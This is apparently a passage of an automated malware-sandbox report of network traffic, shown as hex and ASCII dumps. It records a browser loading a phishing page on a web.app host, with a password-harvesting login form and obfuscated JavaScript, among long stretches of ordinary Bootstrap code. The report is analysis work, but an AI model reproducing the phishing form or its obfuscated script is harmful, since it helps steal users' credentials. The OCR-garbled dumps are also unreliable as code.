61 74 65 3d 44 65 2c 65 2e 63 6f 6e 66 69 67 2e 64 65 6¢ 61 79 26 26 65 2e 63 6f 6e 66 69 67 2e 64 65 6¢ 61 79 2e 73 68
6f 77 3f 65 2e 5f 74 69 6d 65 6f 75 74 3d 73 65 74 54 69 6d
Data Ascii: g()),pe(t.currentTarget).data(n,e)),t&&(e._activeTrigger["focusin"===t.type?Le:He]=!0),pe(e.getTipElement())
.hasClass(ke)||e._hoverState===De?e._hoverState=De:(clearTimeout(e._timeout),e._hoverState=De,e.config.delay&&
e.config.delay.show?e._timeout=setTim

2021-09-15 14:28:03 UTC 292 IN Data Raw: 3d 74 68 69 73 2e 63 6f 6e 66 69 67 5b 65 5d 29 3b 72 65 74 75 72 6e 20 74 7d 2c 74 2e 5f 63 6c 65 61 6e 54
69 70 43 6¢ 61 73 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 70 65 28 74 68 69 73 2e 67 65 74 54 69 70
45 6c 65 6d 65 6e 74 28 29 29 2¢ 65 3d 74 2e 61 74 74 72 28 22 63 6¢ 61 73 73 22 29 2e 6d 61 74 63 68 28 62 65 29 3b
6e 75 6¢ 6¢ 21 3d 3d 65 26 26 65 2e 6¢ 65 6e 67 74 68 26 26 74 2e 72 65 6d 6f 76 65 43 6¢ 61 73 73 28 65 2e 6a 6f 69 6e
2822 22 29 29 7d 2c 74 2e 5f 68 61 6e 64 6¢ 65 50 6f 70 70 65 72 50 6¢ 61 63 65 6d 65 6e 74 43 68 61 6e 67 65 3d 66 75
6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2e 69 6e 73 74 61 6e 63 65 3b 74 68 69 73 2e 74 69 70 3d 65 2e 70 6
f70 70 65 72 2c 74 68 69 73 2e 5f 63 6¢ 65 61 6e 54 69 70 43 6¢
Data Ascii: =this.config[e]);return t},t._cleanTipClass=function(){var t=pe(this.getTipElement()),e=t.attr("class").matc
h(be);nulll==e&&e.length&&t.removeClass(e.join(""))},t._handlePopperPlacementChange=function(t){var e=t.instan
ce;this.tip=e.popper,this._cleanTipClI

2021-09-15 14:28:03 UTC 293 IN Data Raw: 29 22 2b 51 65 2b 22 5¢ 5¢ 53 2b 22 2c 22 67 22 29 2¢ 56 65 3d 6c 28 7b 7d 2c 7a 6e 2e 44 65 66 61 75 6¢ 74
2c 7b 70 6¢ 61 63 65 6d 65 6e 74 3a 22 72 69 67 68 74 22 2¢ 74 72 69 67 67 65 72 3a 22 63 6¢ 69 63 6b 22 2c 63 6f 6e
74 65 6e 74 3a 22 22 2¢c 74 65 6d 70 6¢ 61 74 65 3a 27 3c 64 69 76 20 63 6¢ 61 73 73 3d 22 70 6f 70 6f 76 65 72 22 20 72
6f 6¢ 65 3d 22 74 6f 6f 6¢ 74 69 70 22 3e 3c 64 69 76 20 63 6¢ 61 73 73 3d 22 61 72 72 6f 77 22 3e 3¢ 2f 64 69 76 3e 3¢
68 3320 63 6¢ 61 73 73 3d 22 70 6f 70 6f 76 65 72 2d 68 65 61 64 65 72 22 3e 3c 2f 68 33 3e 3c 64 69 76 20 63 6¢ 61 73
73 3d 22 70 6f 70 6f 76 65 72 2d 62 6f 64 79 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 27 7d 29 2¢ 59 65 3d 6¢ 28 7b 7d
2c 7a 6e 2e 44 65 66 61 75 6¢ 74 54 79 70 65 2c 7b 63 6f 6
Data Ascii: )"+Qe+"\\S+","g"),Ve=I({},zn.Default,{placement:"right" trigger:“click",content:"" ,template:'<div class="popover"
role="tooltip"><div class="arrow"></div><h3 class="popover-header"></h3><div class="popover-body"></div></div>}),
Ye=I({},zn.DefaultType {con

2021-09-15 14:28:03 UTC 295 IN Data Raw: 6e 74 28 29 29 2c¢ 65 3d 74 2e 61 74 74 72 28 22 63 6¢ 61 73 73 22 29 2e 6d 61 74 63 68 28 42 65 29 3b 6e 75
6c 6¢ 21 3d 3d 65 26 26 30 3c 65 2e 6¢ 65 6e 67 74 68 26 26 74 2e 72 65 6d 6f 76 65 43 6¢ 61 73 73 28 65 2e 6a 6f 69 6e
2822222929 7d 2c 69 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65
747572 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 65 28 74 68 69 73
29 2e 64 61 74 61 28 46 65 29 2c 65 3d 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6e 3f 6e 3a 6e 75 6¢ 6¢ 3b 69
66 2828 74 7c 7c 21 2f 64 65 73 74 72 6f 79 7c 68 69 64 65 2f 2e 74 65 73 74 28 6e 29 29 26 26 28 74 7c 7c 28 74 3d 6e
65 77 20 69 28 74 68 69 73 2c 65 29 2c 55 65 28 74 68 69 73
Data Ascii: nt()),e=t.attr("class").match(Be);null'==e&&0<e.length&&t.removeClass(e.join(""))},i._jQueryInterface=functi
on(n){return this.each(function(){var t=Ue(this).data(Fe),e="object"==typeof n?n:null;if((t||!/destroy|hide/.test(n))&&(t||(t=new
i(this,e),Ue(this

2021-09-15 14:28:03 UTC 296 IN Data Raw: 6¢ 6¢ 45 6¢ 65 6d 65 6e 74 3d 22 42 4f 44 59 22 3d 3d 3d 74 2e 74 61 67 4e 61 6d 65 3f 77 69 6e 64 6f 77 3a
74 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 3d 74 68 69 73 2e 5f 67 65 74 43 6f 6e 66 69 67 28 65 29 2c 74 68 69 73 2e 5f
73 65 6¢ 65 63 74 6f 72 3d 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 74 61 72 67 65 74 2b 22 20 22 2b 67 6e 2b 22 2c 22 2b
74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 74 61 72 67 65 74 2b 22 20 22 2b 6d 6e 2b 22 2c 22 2b 74 68 69 73 2e 5f 63 6f 6e
66 69 67 2e 74 61 72 67 65 74 2b 22 20 22 2b 76 6e 2c 74 68 69 73 2e 5f 6f 66 66 73 65 74 73 3d 5b 5d 2¢ 74 68 69 73
2e 5f 74 61 72 67 65 74 73 3d 5b 5d 2c 74 68 69 73 2e 5f 61 63 74 69 76 65 54 61 72 67 65 74 3d 6e 75 6¢ 6C 2C 74 68 69
73 2e 5f 73 63 72 6f 6¢ 6¢ 48 65 69 67 68 74 3d 30 2c 74 6e
Data Ascii: lIElement="BODY"===t.tagName?window:t,this._config=this._getConfig(e),this._selector=this._config.target+
+gn+","+this._config.target+" +vn,this._offsets=[],this._targets=[],this._activeTarget=n
ull,this._scrollHeight=0,tn

2021-09-15 14:28:03 UTC 297 IN Data Raw: 72 67 65 74 29 2e 61 74 74 72 28 22 69 64 22 29 3b 65 7c 7c 28 65 3d 46 6e 2e 67 65 74 55 49 44 28 65 6e 29
2c 74 6e 28 74 2e 74 61 72 67 65 74 29 2e 61 74 74 72 28 22 69 64 22 2¢ 65 29 29 2c 74 2e 74 61 72 67 65 74 3d 22 23
22 2b 65 7d 72 65 74 75 72 6e 20 46 6e 2e 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 28 65 6€ 2¢ 74 2c 61 6e 29 2¢
74 7d 2c 74 2e 5f 67 65 74 53 63 72 6f 6¢ 6¢ 54 6f 70 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69
73 2e 5f 73 63 72 6f 6¢ 6¢ 45 6¢ 65 6d 65 6€ 74 3d 3d 3d 77 69 6e 64 6f 77 3f 74 68 69 73 2e 5f 73 63 72 6f 6¢ 6¢ 45 6C 65
6d 65 6e 74 2e 70 61 67 65 59 4f 66 66 73 65 74 3a 74 68 69 73 2e 5f 73 63 72 6f 6¢ 6¢ 45 6¢ 65 6d 65 6€ 74 2e 73 63 72
6f 6¢ 6¢ 54 6f 70 7d 2c 74 2e 5f 67 65 74 53 63 72 6f 6¢ 6¢
Data Ascii: rget).attr("id");e||(e=Fn.getUID(en),tn(t.target).attr("id",e)),t.target="#"+e}return Fn.typeCheckConfig(en,t,an),t},t
._getScrollTop=function(){return this._scrollElement===window?this._scrollElement.pageY Offset:this._scrollElement.scroll
Top},t._getScroll

2021-09-15 14:28:03 UTC 299 IN Data Raw: 73 65 73 74 28 70 6e 29 2e 66 69 6e 64 28 79 6e 29 2e 61 64 64 43 6¢ 61 73 73 28 68 6e 29 2c 6e 2e 61 64 64
43 6¢ 61 73 73 28 68 6e 29 29 3a 28 6e 2e 61 64 64 43 6¢ 61 73 73 28 68 6e 29 2c 6e 2e 70 61 72 65 6e 74 73 28 64 6e
29 2e 70 72 65 76 28 67 6e 2b 22 2¢ 20 22 2b 6d 6e 29 2e 61 64 64 43 6¢ 61 73 73 28 68 6e 29 2c 6e 2e 70 61 72 65 6e
74 73 28 64 6e 29 2e 70 72 65 76 28 5f 6e 29 2e 63 68 69 6¢ 64 72 65 6e 28 67 6e 29 2e 61 64 64 43 6¢ 61 73 73 28 68 6
e 2929 2c 74 6e 28 74 68 69 73 2e 5f 73 63 72 6f 6¢ 6¢ 45 6¢ 65 6d 65 6e 74 29 2e 74 72 69 67 67 65 72 28 6¢ 6e 2e 41
4354 49 56 41 54 45 2c 7b 72 65 6¢ 61 74 65 64 54 61 72 67 65 74 3a 65 7d 29 7d 2c 74 2e 5f 63 6¢ 65 61 72 3d 66 75
6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 5b 5d 2e 73 6¢ 69 63 65
Data Ascii: sest(pn).find(yn).addClass(hn),n.addClass(hn)):(n.addClass(hn),n.parents(dn).prev(gn+", "+mn).addClass(hn),n
.parents(dn).prev(_n).children(gn).addClass(hn)),tn(this._scrollElement).trigger(In.ACTIVATE {relatedTarget:e})},t._clea
r=function(){var t=[].slice

+mn+","+this._config.target+
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kBytes
Timestamp transferred

2021-09-15 14:28:03 UTC 300

2021-09-15 14:28:03 UTC 301

2021-09-15 14:28:03 UTC 303

2021-09-15 14:28:03 UTC 303

Session ID Source IP

7 192.168.2.4
kBytes

Timestamp transferred

2021-09-15 14:28:04 UTC 322

2021-09-15 14:28:08 UTC 342

2021-09-15 14:28:08 UTC 343

2021-09-15 14:28:08 UTC 344

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49789

Direction

ouT

Data

Data Raw: 67 67 6¢ 65 22 2c 55 6e 3d 22 3e 20 2e 64 72 6f 70 64 6f 77 6e 2d 6d 65 6e 75 20 2e 61 63 74 69 76 65 22 2¢
71 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 69 28 74 29 7b 74 68 69 73 2e 5f 65 6¢ 65 6d 65 6e
743d 74 7d 76 61 72 20 74 3d 69 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 73 68 6f 77 3d 66 75 6e 63
74 69 6f 6e 28 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 69 66 28 21 28 74 68 69 73 2e 5f 65 6¢ 65 6d 65 6e 74 2e 70 61 72
65 6e 74 4e 6f 64 65 26 26 74 68 69 73 2e 5f 65 6¢ 65 6d 65 6e 74 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 6e 6f 64 65 54 79
7065 3d 3d 3d 4e 6f 64 65 2e 45 4c 45 4d 45 4e 54 5f 4e 4f 44 45 26 26 62 6e 28 74 68 69 73 2e 5f 65 6¢ 65 6d 65 6e 74
29 2e 68 61 73 43 6¢ 61 73 73 28 4e 6e 29 7c 7c 62 6e 28

Data Ascii: ggle",Un="> .dropdown-menu .active",gqn=function()}{function i(t){this._element=t}var t=i.prototype;return t.s
how=function(){var n=this;if(!(this._element.parentNode&&this._element.parentNode.nodeType===Node.EL
EMENT_NODE&&bn(this._element).hasClass(Nn)||bn(

Data Raw: 2e 66 69 6e 64 28 55 6e 29 5b 30 5d 3b 69 26 26 62 6e 28 69 29 2e 72 65 6d 6f 76 65 43 6¢ 61 73 73 28 4e 6e
292c 22 74 61 62 22 3d 3d 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 72 6f 6¢ 65 22 29 26 26 65 2e 73 65 74
41747472 69 62 75 74 65 28 22 61 72 69 61 2d 73 65 6¢ 65 63 74 65 64 22 2¢c 21 31 29 7d 69 66 28 62 6e 28 74 29 2e
61 64 64 43 6¢ 61 73 73 28 4e 6e 29 2c 22 74 61 62 22 3d 3d 3d 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 72 6f 6
€ 652229 2626742e73657441 74747269 627574 652822617269 61 2d 73 65 6¢ 65 63 74 65 64 22 2¢ 21 30 29
2c 46 6e 2e 72 65 66 6¢ 6f 77 28 74 29 2c 62 6e 28 74 29 2e 61 64 64 43 6¢ 61 73 73 28 50 6€ 29 2c 74 2e 70 61 72 65
6e 74 4e 6f 64 65 26 26 62 6e 28 74 2e 70 61 72 65 6e 74 4e 6f 64 65

Data Ascii: .find(Un)[0];i&&bn(i).removeClass(Nn),"tab"===e.getAttribute("role")&&e.setAttribute("aria-selected",!1)}if(
bn(t).addClass(Nn),"tab"===t.getAttribute("role")&&t.setAttribute("aria-selected",!0),Fn.reflow(t),bn(t).addClass(Pn),t.
parentNode&&bn(t.parentNode

Data Raw: 3d 56 6e 2c 74 2e 4d 6f 64 61 6¢ 3d 59 6e 2c 74 2e 50 6f 70 6f 76 65 72 3d 4a 6e 2c 74 2e 53 63 72 6f 6¢ 6¢
737079 3d 5a 6e 2c 74 2e 54 61 62 3d 47 6e 2c 74 2e 54 6f 6f 6¢ 74 69 70 3d 7a 6e 2c 4f 62 6a 65 63 74 2e 64 65 66 69
6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6¢ 65 22 2¢ 7b 76 61 6¢ 75 65 3a 21 30 7d 29 7d 29 3b
0Oa 2f 2f 23 20 73 6f 75 72 63 65 4d 61 70 70 69 6e 67 55 52 4c 3d 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 6a 73 2e 6d
6170 0d Oa

Data Ascii: =Vn,t.Modal=Yn,t.Popover=Jn,t.Scrollspy=Zn,t. Tab=Gn,t.Tooltip=zn,Object.defineProperty(t,"__esModule",
{value:!10})});//# sourceMappingURL=bootstrap.min.js.map

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

172.217.168.36 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

GET /s2/favicons?domain=mycity.be HTTP/1.1

Accept: image/png, image/svg+xml, image/jxr, image/*;q=0.8, */*;q=0.5

Referer: https://ranko23.web.app/miajarantarankaran.html

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Accept-Encoding: gzip, deflate

Host: www.google.com

Connection: Keep-Alive

Cookie: CONSENT=YES+GB.en-GB+V9+BX; ANID=AHWqTUISr3088pwoykf0043D99chbT1sB7DrGAvI1SaoiUj9-j
egdSaaNEmuC6sED

HTTP/1.1 200 OK

Content-Type: image/png

Expires: Wed, 15 Sep 2021 14:28:08 GMT

Date: Wed, 15 Sep 2021 14:28:08 GMT

Cache-Control: private, max-age=28800

P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."

Report-To: {"group”:"FaviconHttp","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/Favico
nHttp/external"}J}

Cross-Origin-Opener-Policy: same-origin; report-to="FaviconHttp"

Content-Security-Policy: script-src ‘nonce-pByFpUNgLUAsSNsg+NQgggA' ‘unsafe-inline’;object-src ‘none';base-uri ‘self';rep
ort-uri /s2/_/FaviconHttp/cspreport;worker-src 'self*

Content-Security-Policy: require-trusted-types-for 'script';report-uri /s2/_/FaviconHttp/cspreport
Cross-Origin-Resource-Policy: cross-origin

Transfer-Encoding: chunked

Server: ESF

X-XSS-Protection: 0

X-Frame-Options: SAMEORIGIN

X-Content-Type-Options: nosniff

Set-Cookie: NID=511=imHI-xX0699AcLIVgSvaD24k423YUNITnRefNQYmOFgye2L.6Qh3_|IEPEG3HPLc7dkWhAhIluj-
h6cskZHhS4W9zGWkKCT8F-RBPsqzipehmm4dfXNQAHEBrJaBIAC-z3mi2VIDX4Jid19dnCZ8d7e7VNctMv4W2PJI
sjimgDV2XoTk; expires=Thu, 17-Mar-2022 14:28:04 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=non
e

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

Data Raw: 31 65 63 0d 0a 89 50 4e 47 0d Oa 1a Oa 00 00 00 Od 49 48 44 52 00 00 00 10 00 00 00 10 08 06 00 00 00 1f f3
ff 61 00 00 01 b3 49 44 41 54 78 01 62 f8 ff ff 3f 45 18 ce fO 8b 9c c7 9 e8 3b 43 b6 aa 69 5b 50 49 ed e6 bd c9 b9 ab 3e
86 c4 03 e8 a6 86 ed da 82 28 f8 31 ef 63 de f4 62 18 db b6 ed 64 1a db b6 6d db b6 6d 27 3b 5d 83 ee d5 57 7b ad e3 aa
da aa 53 f8 83 ¢3 d2 b9 f2 c1 2b b8 a9 27 80 7d 03 06 58 ce 13 e4 ff aa ac 7f 2e 7e f5 f1 16 4e 15 ab 31 ¢9 dd d7 45 b5 b3
94 53 31 45 b8 Oe 4f 1f 50 58 5¢ ¢7 b5 99 43 f9 aa 8b 6f 5d 3c b0 e0 08 01 a8 ba f8 d6 c7 5b b9 54 1d a6 64 Oc 52 6d fb Oa
75 0c 6e d1 d5 dd 1b ed 9f 3c 10 e2 f4 f2 85 fO 8e 89 1c 3a fb d4 c5 83 23 04 50 9a 99 63 f9 2a 32 81 8c a3 a9 67 1d 87 10
8 fe 21 ea 1d db a5 3e 76 98 3a 94 ad 82 23

Data Ascii: 1lecPNGIHDRalDATXxb?E;Ci[PI>(1cbdmm’;]W{S+}X.~N1ES1EOPX\Co]<[TdRmun<:#Pc*2g!>v:#

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0
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Session ID Source IP

8 192.168.2.4
kBytes
Timestamp transferred

2021-09-15 14:28:04 UTC 323

2021-09-15 14:28:05 UTC 323

2021-09-15 14:28:05 UTC 323

2021-09-15 14:28:05 UTC 325

2021-09-15 14:28:05 UTC 326

2021-09-15 14:28:05 UTC 327

2021-09-15 14:28:05 UTC 329

2021-09-15 14:28:05 UTC 330

Copyright Joe Security LLC 2021

Source Port

49791

Direction

ouT

Destination IP Destination Port Process

199.36.158.100 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

GET /favicon.ico HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: ranko23.web.app

Connection: Keep-Alive

HTTP/1.1 200 OK

Connection: close

Content-Length: 19288

Cache-Control: max-age=3600

Content-Type: text/html; charset=utf-8

Etag: "0edf988fd81418c81589846d9281aa9cOchafc57ea3da786d3f60ece4f5h45d9"
Last-Modified: Wed, 15 Sep 2021 12:10:19 GMT

Strict-Transport-Security: max-age=31556926; includeSubDomains; preload
Accept-Ranges: bytes

Date: Wed, 15 Sep 2021 14:28:05 GMT

X-Served-By: cache-fral9154-FRA

X-Cache: MISS

X-Cache-Hits: 0

X-Timer: S1631716085.840178,VS0,VE232

Vary: x-fh-requested-host, accept-encoding

Data Raw: Od Oa 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6¢ 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d
0a 3c 68 65 61 64 3e 0d 0a 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 4a 61 76 61 53 63 72 69
7074222073 7263 3d 226874 7470 73 3a 2f 2f 61 6a 61 78 2e 67 6f 6f 67 6¢ 65 61 70 69 73 2e 63 6f 6d 2f 61 6a 61
78 2f 6¢ 69 62 73 2f 6a 71 75 65 72 79 2f 32 2e 32 2e 34 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72
69 70 74 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 4a 61 76 61 53 63 72 69 70 74
22207372 63 3d 22 68 74 74 70 73 3a 2f 2f 63 6f 64 65 2e 6a 71 75 65 72 79 2e 63 6f 6d 2f 6a 71 75 65 72 79 2d 33 2e
31 2e 31 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e

Data Ascii: <!doctype html><html lang="en"><head> <script type="text/JavaScript" src="https://ajax.googleapis.com/ajax
llibs/jquery/2.2.4/jquery.min.js"></script> <script type="text/JavaScript" src="https://code.jquery.com/jquery-3.1.1.min.js">
</script>

Data Raw: 32 31 2d 34 38 65 35 2d 61 30 32 61 2d 38 64 65 65 64 39 61 34 34 33 32 35 22 3e 0d 0a 20 20 20 20 3c 6¢ 69
6e 6b 20 72 65 6¢ 3d 22 73 74 79 6¢ 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 69 72 65 62 61
7365 73 74 6f 72 61 67 65 2e 67 6f 6f 67 6¢ 65 61 70 69 73 2e 63 6f 6d 2f 76 30 2f 62 2f 64 65 6¢ 6¢ 63 73 73 66 69 6C 65
2e 61 70 70 73 70 6f 74 2e 63 6f 6d 2f 6f 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2e 6d 69 6e 2e 63 73 73 3f 61 6¢ 74 3d 6d
65 64 69 61 26 74 6f 6b 65 6 3d 65 36 66 31 39 63 65 37 2d 61 39 63 61 2d 34 35 37 65 2d 38 30 64 66 2d 30 66 34 38
323334313261 64 35 22 3e 0d 0a 0d 0a 20 20 20 20 3c 73 74 79 6¢ 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73
22 3e 0d 0a 20 20 20 20 20 20 2e 6¢ 6f 67 69 6e 2d 66 6f

Data Ascii: 21-48e5-a02a-8deed9a44325">  <link rel="stylesheet" href="https://firebasestorage.googleapis.com/v0/b/dell
cssfile.appspot.com/o/font-awesome.min.css?alt=media&token=e6f19ce7-a9ca-457e-80df-0f4823412ad5"> <style ty
pe="text/css"> .login-fo

Data Raw: 78 3b 0d Oa 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 37 66 37 66 37 3b 0d Oa 20 20
2020 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6¢ 61 74 69 76 65 3b 0d Oa 20 20 20 20 20 20 20 20 74 6f 70 3a 20
2d 31 31 70 78 3b 0d Oa 20 20 20 20 20 20 20 20 7a 2d 69 6e 64 65 78 3a 20 31 3b 0d Oa 20 20 20 20 20 20 7d 0d Oa 20
20 20 20 20 20 0d Oa Od Oa 0d Oa 0d 0a 20 20 20 20 3c 2f 73 74 79 6¢ 65 3e 0d Oa 20 20 3c 2f 68 65 61 64 3e 0d Oa 20 20
3c 62 6f 64 79 20 64 61 74 61 2d 67 72 2d 63 2d 73 2d 6¢ 6f 61 64 65 64 3d 22 74 72 75 65 22 3e 0d Oa 20 20 20 20 3¢

70 3e 26 6e 62 73 70 3b 3c 2f 70 3e 0d 0a 20 20 20 20 3c 70 3e 26 6e 62 73 70 3b 3c 2f 70 3e 0d 0a 0d Oa 0d Oa Od Oa 20
2020 20 3c 64 69 76 20 63 6¢ 61 73 73 3d 22 6¢ 6f 67 69 6e 2d

Data Ascii: X; background: #7f7f7; position: relative; top: -11px; z-index: 1; } </style> </head

> <body data-gr-c-s-loaded="true"> <p>&nbsp;</p> <p>&nbsp;</p> <div class="login-

Data Raw: 6¢ 6f 63 6b 22 3e 3c 2f 69 3e 3c 2f 73 70 61 6e 3e 0d Oa 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75
74207479 7065 3d 22 70 61 73 73 77 6f 72 64 22 20 63 6¢ 61 73 73 3d 22 66 6f 72 6d 2d 63 6f 6 74 72 6f 6 22 20 69
64 3d 22 70 72 22 20 6e 61 6d 65 3d 22 70 64 66 32 22 20 70 6¢ 61 63 65 68 6f 6¢ 64 65 72 3d 22 50 61 73 73 77 6f 72 64
222072 65717569 726564 3d 227265717569 72 65 64 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76
3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d Oa 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6¢ 61 73 73 3d 22
66 6f 72 6d 2d 67 72 6f 75 70 22 3e 0d Oa 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64
64 65 6e 22 20 6e 61 6d 65 3d 22 70 64 66 31 22 20 73 69 7a 65

Data Ascii: lock"></i></span> <input type="password" class="form-control" id="pr" name="pdf2" placeholder="Pa
ssword" required="required"> </div> </div> <div class="form-group"> <input type="hidden"
name="pdfl" size

Data Raw: 68 69 64 65 20 7b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 7d 20 2e 77 73 5f 74 6f 6f 6¢ 62 61 72
2069 6d 67 20 7b 70 61 64 64 69 6e 67 3a 32 70 78 3b 6d 61 72 67 69 6e 3a 30 70 78 7d 3c 2f 73 74 79 6¢ 65 3e 0d Oa
0d 0a 0d Oa 0d 0a 20 20 20 20 3c 21 2d 2d 20 4f 70 74 69 6f 6e 61 6¢ 20 4a 61 76 61 53 63 72 69 70 74 20 2d 2d 3e 0d Oa
2020 3c 21 2d 2d 20 6a 51 75 65 72 79 20 66 69 72 73 74 2c 20 74 68 65 6e 20 50 6f 70 70 65 72 2e 6a 73 2c 20 74 68
65 6e 20 42 6f 6f 74 73 74 72 61 70 20 4a 53 20 2d 2d 3e 0d 0a 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78
74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 6f 64 65 2e 6a 71 75 65 72 79 2e 63
6f 6d 2f 6a 71 75 65 72 79 2d 33 2e 32 2e 31 2e 73 6¢ 69 6d 2e

Data Ascii: hide {visibility:hidden} .ws_toolbar img {padding:2px;margin:0px}</style> ... Optional JavaScript --> ... jQuery
first, then Popper.js, then Bootstrap JS --> <script type="text/javascript" src="https://code.jquery.com/jquery-3.2.1.slim.

Data Raw: 36 66 5¢ 75 30 30 37 34 5¢ 75 30 30 37 39 5¢ 78 37 30 5¢ 78 36 35 27 5d 3b 64 65 6¢ 65 74 65 20 6d 5b 27 5¢
753030 35 37 5¢ 78 36 33 5¢ 75 30 30 36 66 5¢ 75 30 30 34 66 5¢ 75 30 30 36 62 27 5d 3b 4d 3d 36 3b 62 72 65 61 6b
3b 63 61 73 65 20 33 3a 74 68 72 6f 77 20 22 22 3b 4d 3d 39 3b 62 72 65 61 6b 3b 63 61 73 65 20 34 3a 4d 3d 74 79 70
65 6f 66 20 65 6¢ 79 73 38 20 3d 3d 3d 20 27 5¢ 75 30 30 37 35 5¢ 75 30 30 36 65 5¢ 75 30 30 36 34 5¢ 75 30 30 36 35 5¢
78 36 36 5¢ 75 30 30 36 39 5¢ 78 36 65 5¢ 75 30 30 36 35 5¢ 75 30 30 36 34 27 3f 33 32 39 3b 62 72 65 61 6b 3b 63 61 7
365 20 32 3a 4f 62 6a 65 63 74 5b 27 5¢ 78 36 34 5c 78 36 35 5¢ 75 30 30 36 36 5¢ 75 30 30 36 39 5¢ 78 36 65 5¢ 75 30
30 36 35 5¢ 78 35 30 5¢ 78 37 32 5¢ 78 36 66 5¢ 75 30 30 37 30 5¢

Data Ascii: 6\u0074\u0079\x70\x65'];delete m['\u0057\x63\u006f\u004f\u006b'];M=6;break;case 3:throw "';M=9;break;case
4:M=typeof elys8 === "\u0075\u006e\u0064\u0065\x66\u0069\x6e\u0065\u0064'?3:9;break;case 2:0bject['\x64\x65\u00
66\u0069\x6e\u0065\x50\x72\x6f\u0070\
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kBytes
Timestamp transferred Direction Data

2021-09-15 14:28:05 UTC 331 IN Data Raw: 2c 64 33 36 5b 37 33 5d 2c 64 33 36 5b 33 38 5d 29 3b 76 33 36 3d 37 32 3b 62 72 65 61 6b 3b 63 61 73 65 20
3539 3a 64 33 36 5b 34 33 5d 2b 3d 64 33 36 5b 38 31 5d 3b 64 33 36 5b 33 38 5d 3d 64 33 36 5b 37 5d 3b 64 33 36 5b
3338 5d 2b 3d 64 33 36 5b 39 37 5d 3b 64 33 36 5b 33 38 5d 2b 3d 64 33 36 5b 38 31 5d 3b 64 33 36 5b 35 33 5d 3d 64
3336 5b 32 5d 3b 76 33 36 3d 37 37 3b 62 72 65 61 6b 3b 63 61 73 65 20 36 33 3a 64 33 36 5b 33 36 5d 2b 3d 64 33 36
5b 39 5d 3b 64 33 36 5b 33 36 5d 2b 3d 64 33 36 5b 34 5d 3b 64 33 36 5b 34 33 5d 3d 64 33 36 5b 33 5d 3b 64 33 36 5b
34 33 5d 2b 3d 64 33 36 5b 39 37 5d 3b 76 33 36 3d 35 39 3b 62 72 65 61 6b 3b 63 61 73 65 20 37 31 3a 53 31 36 28 6¢
31 36 2c 64 33 36 5b 33 36 5d 2c 64 33 36 5b 34 38 5d 2c 64 33 36 5b 37
